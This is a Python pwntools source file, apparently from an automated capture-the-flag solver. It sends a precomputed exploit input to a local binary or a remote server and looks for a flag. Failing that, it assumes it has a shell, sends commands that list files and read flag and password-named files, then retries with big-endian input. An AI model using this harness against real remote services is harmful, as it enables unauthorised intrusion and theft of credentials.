from __future__ import print_function
from pwn import *

def sendExploit(binary_name,properties,remote_server=False,remote_url="",port_num=0):

    send_results = {}

    #Create local or remote process
    if remote_server:
        proc = remote(remote_url,port_num)
    else:
        proc = process(binary_name)

    #Command to send
    input_string = properties['pwn_type']['results']['input']

    proc.sendline(input_string)
    print(repr(input_string))

    #Sometimes the flag is just printed
    results = proc.recvall(timeout=5)

    send_results['flag_found'] = False
    if '{' in results and '}' in results:
        send_results['flag_found'] = True
        print("[+] Flag found:")
        print(results)
    #Flag not in stdout, we have a shell
    else:

        if remote_server:
            proc = remote(remote_url,port_num)
        else:
            proc = process(binary_name)
        proc.sendline(input_string)

        proc.sendline()
        proc.sendline("ls;\n")
        proc.sendline("cat *flag*;\n")
        proc.sendline("cat *pass*;\n")
        command_results = proc.recvall(timeout=30)
        print(command_results)
        if '{' in command_results and '}' in command_results:
            send_results['flag_found'] = True
            print("[+] Flag found:")
            print(command_results)

    if not send_results['flag_found']:
        print("[~] Failed exploit launch. Switching Endianess")
        #Create local or remote process
        if remote_server:
            proc = remote(remote_url,port_num)
        else:
            proc = process(binary_name)

        #Command to send
        input_string = properties['pwn_type']['results']['input_eb']

        proc.sendline(input_string)
        print(repr(input_string))

        #Sometimes the flag is just printed
        results = proc.recvall(timeout=5)

        send_results['flag_found'] = False
        if '{' in results and '}' in results:
            send_results['flag_found'] = True
            print("[+] Flag found:")
            print(results)
        #Flag not in stdout, we have a shell
        else:

            if remote_server:
                proc = remote(remote_url,port_num)
            else:
                proc = process(binary_name)
            try:
                proc.sendline(input_string)

                command_results = proc.recv(timeout=1)

                proc.sendline()
                proc.sendline("ls;\n")
                proc.sendline("cat *flag*;\n")
                proc.sendline("cat *pass*;\n")
                command_results += proc.recvall(timeout=30)
                print(command_results)
                if '{' in command_results and '}' in command_results:
                    send_results['flag_found'] = True
                    print("[+] Flag found:")
                    print(command_results)
            except:
                pass


    return send_results
